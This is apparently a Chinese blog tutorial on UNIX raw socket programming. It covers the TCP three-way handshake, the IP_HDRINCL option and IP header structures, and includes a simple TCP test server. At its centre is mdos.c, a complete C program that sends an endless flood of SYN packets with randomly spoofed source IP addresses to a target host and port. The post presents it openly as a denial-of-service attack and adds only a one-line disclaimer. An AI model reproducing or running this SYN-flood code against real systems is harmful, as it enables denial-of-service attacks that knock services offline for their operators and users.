UNIX网络编程——原始套接字的魔力【上】

基于原始套接字编程

在开发面向连接的TCP和面向无连接的UDP程序时，我们所关心的核心问题在于数据收发层面，数据的传输特性由TCP或UDP来保证：

也就是说，对于TCP或UDP的程序开发，焦点在Data字段，我们没法直接对TCP或UDP头部字段进行赤裸裸的修改，当然还有IP头。换句话说，我们对它们头部操作的空间非常受限，只能使用它们已经开放给我们的诸如源、目的IP，源、目的端口等等。

今天我们讨论一下原始套接字的程序开发，用它作为入门协议栈的进阶跳板太合适不过了。OK闲话不多说，进入正题。

原始套接字的创建方法也不难：socket(AF_INET, SOCK_RAW, protocol)。

重点在protocol字段，这里就不能简单的将其值为0了。在头文件netinet/in.h中定义了系统中该字段目前能取的值，注意：有些系统中不一定实现了netinet/in.h中的所有协议。源代码的linux/in.h中和netinet/in.h中的内容一样。

我们常见的有IPPROTO_TCP，IPPROTO_UDP和IPPROTO_ICMP。

用这种方式我就可以得到原始的IP包了，然后就可以自定义IP所承载的具体协议类型，如TCP，UDP或ICMP，并手动对每种承载在IP协议之上的报文进行填充。接下来我们看个最著名的例子DOS攻击的示例代码，以便大家更好的理解如何基于原始套接字手动去封装我们所需要TCP报文。

先简单复习一下TCP报文的格式，因为我们本身不是讲协议的设计思想，所以只会提及和我们接下来主题相关的字段，如果想对TCP协议原理进行深入了解那么《TCP/IP详解卷1》无疑是最好的选择。

我们目前主要关注上面着色部分的字段就OK了，接下来再看看TCP3次握手的过程。TCP的3次握手的一般流程是：

(1) 第一次握手：建立连接时，客户端A发送SYN包(SEQ_NUMBER=j)到服务器B，并进入SYN_SEND状态，等待服务器B确认。

(2) 第二次握手：服务器B收到SYN包，必须确认客户A的SYN(ACK_NUMBER=j+1)，同时自己也发送一个SYN包(SEQ_NUMBER=k)，即SYN+ACK包，此时服务器B进入SYN_RECV状态。

(3) 第三次握手：客户端A收到服务器B的SYN＋ACK包，向服务器B发送确认包ACK(ACK_NUMBER=k+1)，此包发送完毕，客户端A和服务器B进入ESTABLISHED状态，完成三次握手。

至此3次握手结束，TCP通路就建立起来了，然后客户端与服务器开始交互数据。上面描述过程中，SYN包表示TCP数据包的标志位syn=1，同理，ACK表示TCP报文中标志位ack=1，SYN+ACK表示标志位syn=1和ack=1同时成立。

原始套接字还提供了一个非常有用的参数IP_HDRINCL：

• 当开启该参数时：我们可以从IP报文首部第一个字节开始依次构造整个IP报文的所有选项，但是IP报文头部中的标识符字段(设置为0时)和IP首部校验和字段总是由内核自己维护的，不需要我们关心。
• 如果不开启该参数：我们所构造的报文是从IP首部之后的第一个字节开始，IP首部由内核自己维护，首部中的协议字段被设置成调用socket()函数时我们所传递给它的第三个参数。

开启IP_HDRINCL特性的模板代码一般为：

  const int on =1;
  if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){
      printf("setsockopt error!\n");
  }

所以，我们还得复习一下IP报文的首部格式：

同样，我们重点关注IP首部中的着色部分区段的填充情况。

struct ip {
	unsignedint ip_hl:4;  /* 4位IP头部长度*/
	unsignedint ip_v:4;  /* 4位版本号 */
	uint8_t ip_tos;  /* 8位服务类型 */
	uint16_t ip_len;  /* 16位数据包长度 */
	uint16_t ip_id;  /* 16位标识符 */
	uint16_t ip_off;  /* fragment offset field */
	uint8_t ip_ttl;  /* 8位生存时间 */
	uint8_t ip_p;  /* 8位协议号 */
	uint16_t ip_sum;  /* 16位首部校验和 */
	struct in_addr ip_src;  /* 32位源地址 */
	struct in_addr ip_dst;  /* 32位目的地址 */
};

有了上面的知识做铺垫，接下来DOS示例代码的编写就相当简单了。我们来体验一下手动构造原生态IP报文的乐趣吧：

//mdos.c
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <linux/tcp.h>

//我们自己写的攻击函数
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
//如果什么都让内核做，那岂不是忒不爽了，咱也试着计算一下校验和。
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char** argv){
        int skfd;
        struct sockaddr_in target;
        struct hostent *host;
        const int on=1;
        unsigned short srcport;

        if(argc!=4)
        {
                printf("Usage:%s target dstport srcport\n",argv[0]);
                exit(1);
        }

        bzero(&target,sizeof(struct sockaddr_in));
        target.sin_family=AF_INET;
        target.sin_port=htons(atoi(argv[2]));

        if(inet_aton(argv[1],&target.sin_addr)==0)
        {
                host=gethostbyname(argv[1]);
                if(host==NULL)
                {
                        printf("TargetName Error:%s\n",hstrerror(h_errno));
                        exit(1);
                }
                target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
        }

        //将协议字段置为IPPROTO_TCP，来创建一个TCP的原始套接字
        if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
                perror("Create Error");
                exit(1);
        }

        //用模板代码来开启IP_HDRINCL特性，我们完全自己手动构造IP报文
         if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
                perror("IP_HDRINCL failed");
                exit(1);
        }

        //因为只有root用户才可以play with raw socket :)
        setuid(getpid());
        srcport = atoi(argv[3]);
        attack(skfd,&target,srcport);
}

//在该函数中构造整个IP报文，最后调用sendto函数将报文发送出去
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){
        char buf[128]={0};
        struct ip *ip;
        struct tcphdr *tcp;
        int ip_len;

        //在我们TCP的报文中Data没有字段，所以整个IP报文的长度
        ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
        //开始填充IP首部
        ip=(struct ip*)buf;

        ip->ip_v = IPVERSION;
        ip->ip_hl = sizeof(struct ip)>>2;
        ip->ip_tos = 0;
        ip->ip_len = htons(ip_len);
        ip->ip_id=0;
        ip->ip_off=0;
        ip->ip_ttl=MAXTTL;
        ip->ip_p=IPPROTO_TCP;
        ip->ip_sum=0;
        ip->ip_dst=target->sin_addr;

        //开始填充TCP首部
        tcp = (struct tcphdr*)(buf+sizeof(struct ip));
        tcp->source = htons(srcport);
        tcp->dest = target->sin_port;
        tcp->seq = random();
        tcp->doff = 5;
        tcp->syn = 1;
        tcp->check = 0;

        while(1){
                //源地址伪造，我们随便任意生成个地址，让服务器一直等待下去
                ip->ip_src.s_addr = random();
                tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
                sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));
        }
}

//关于CRC校验和的计算，网上一大堆，我就“拿来主义”了
unsigned short check_sum(unsigned short *addr,int len){
        register int nleft=len;
        register int sum=0;
        register short *w=addr;
        short answer=0;

        while(nleft>1)
        {
                sum+=*w++;
                nleft-=2;
        }
        if(nleft==1)
        {
                *(unsigned char *)(&answer)=*(unsigned char *)w;
                sum+=answer;
        }

        sum=(sum>>16)+(sum&0xffff);
        sum+=(sum>>16);
        answer=~sum;
        return(answer);
}

我们自己编写的TCP服务器程序为serv.c：

#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
int main(int argc, char *argv[])
{
    int skfd,cnfd,addr_len;
    struct sockaddr_in srv_addr,clt_addr;
    int portnumber;
    char hello[]="Hello! Long time no see.\n";
    if(2 != argc || 0 > (portnumber=atoi(argv[1])))
    {
         printf("Usage:%s port\n",argv[0]);
         exit(1);
    }

    /* 创建IPv4的流式套接字描述符 */
    if(-1 == (skfd=socket(AF_INET,SOCK_STREAM,0)))
    {
         perror("Socket Error:");
         exit(1);
    }

    /* 填充服务器端sockaddr地址结构 */
    bzero(&srv_addr,sizeof(struct sockaddr_in));
    srv_addr.sin_family=AF_INET;
    srv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
    srv_addr.sin_port=htons(portnumber);

    /* 将套接字描述符skfd和地址信息结构体绑定起来 */
    if(-1 == bind(skfd,(struct sockaddr *)(&srv_addr),sizeof(struct sockaddr)))
    {
         perror("Bind error:");
         exit(1);
    }

    /* 将skfd转换为被动 */
    if(-1 == listen(skfd,4))
    {
         perror("Listen error:");
         exit(1);
    }

    while(1)
    {
       /* 调用accept,服务器端一直阻塞，直到客户程序与其建立连接成功为止*/
        addr_len=sizeof(struct sockaddr_in);
        if(-1 == (cnfd=accept(skfd,(struct sockaddr *)(&clt_addr),&addr_len)))
        {
             perror("Accept error:");
             exit(1);
        }
        printf("Connect from %s:%u ...!\n",inet_ntoa(clt_addr.sin_addr),ntohs(clt_addr.sin_port));
        if(-1 == write(cnfd,hello,strlen(hello))){
             perror("Send error:");
             exit(1);
        }
        close(cnfd);
     }
     close(skfd);
     exit(0);
}

用前面我们自己编写TCP服务器端程序（serv.c）来做本地测试，看看效果。先把服务器端程序启动起来，如下：

然后，我们编写的“捣蛋”程序登场了：

mdos程序执行一段时间后，服务器端的输出如下：

因为我们的源IP地址是随机生成的，源端口固定为8888，服务器端收到我们的SYN报文后，会为其分配一条连接资源，并将该连接的状态置为SYN_RECV，然后给客户端回送一个确认，并要求客户端再次确认，可我们却不再bird别个了，这样就会造成服务端一直等待直到超时。

备注：本程序仅供交流分享使用，不要做恶，不然后果自负哦。

最后补充一点，看到很多新手经常对struct ip{}和struct iphdr{}，struct icmp{}和struct icmphdr{}纠结来纠结去了，不知道何时该用哪个。在/usr/include/netinet目录这些结构所属头文件的定义，头文件中对这些结构也做了很明确的说明，这里我们简单总结一下：

struct ip{}、struct icmp{}是供BSD系统层使用，struct iphdr{}和struct icmphdr{}是在INET层调用。同理tcphdr和udphdr分别都已经和谐统一了，参见tcp.h和udp.h。

BSD和INET的解释在协议栈篇章详细论述，这里大家可以简单这样来理解：我们在用户空间的编写网络应用程序的层次就叫做BSD层。所以我们该用什么样的数据结构呢？良好的编程习惯当然是BSD层推荐我们使用的，struct ip{}、struct icmp{}。至于INET层的两个同类型的结构体struct iphdr{}和struct icmphdr{}能用不？我只能说不建议。看个例子：

我们可以看到无论BSD还是INET层的IP数据包结构体大小是相等的，ICMP报文的大小有差异。而我们知道ICMP报头应该是8字节，那么BSD层为什么是28字节呢？留给大家思考。也就是说，我们这个mdos.c的实例程序中除了用struct ip{}之外还可以用INET层的struct iphdr{}结构。将如下代码：

struct ip *ip;
…
ip=(struct ip*)buf;
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip)>>2;
ip->ip_tos = 0;
ip->ip_len = htons(ip_len);
ip->ip_id=0;
ip->ip_off=0;
ip->ip_ttl=MAXTTL;
ip->ip_p=IPPROTO_TCP;
ip->ip_sum=0;
ip->ip_dst=target->sin_addr;
…
ip->ip_src.s_addr = random();

改为：

struct iphdr *ip;
…
ip=(struct iphdr*)buf;
ip->version = IPVERSION;
ip->ihl = sizeof(struct ip)>>2;
ip->tos = 0;
ip->tot_len = htons(ip_len);
ip->id=0;
ip->frag_off=0;
ip->ttl=MAXTTL;
ip->protocol=IPPROTO_TCP;
ip->check=0;
ip->daddr=target->sin_addr.s_addr;
…
ip->saddr = random();

结果请童鞋们自己验证。虽然结果一样，但在BSD层直接使用INET层的数据结构还是不被推荐的。

小结：
1、IP_HDRINCL选项可以使我们控制到底是要从IP头部第一个字节开始构造我们的原始报文或者从IP头部之后第一个数据字节开始。
2、只有超级用户才能创建原始套接字。
3、原始套接字上也可以调用connet、bind之类的函数，但都不常见。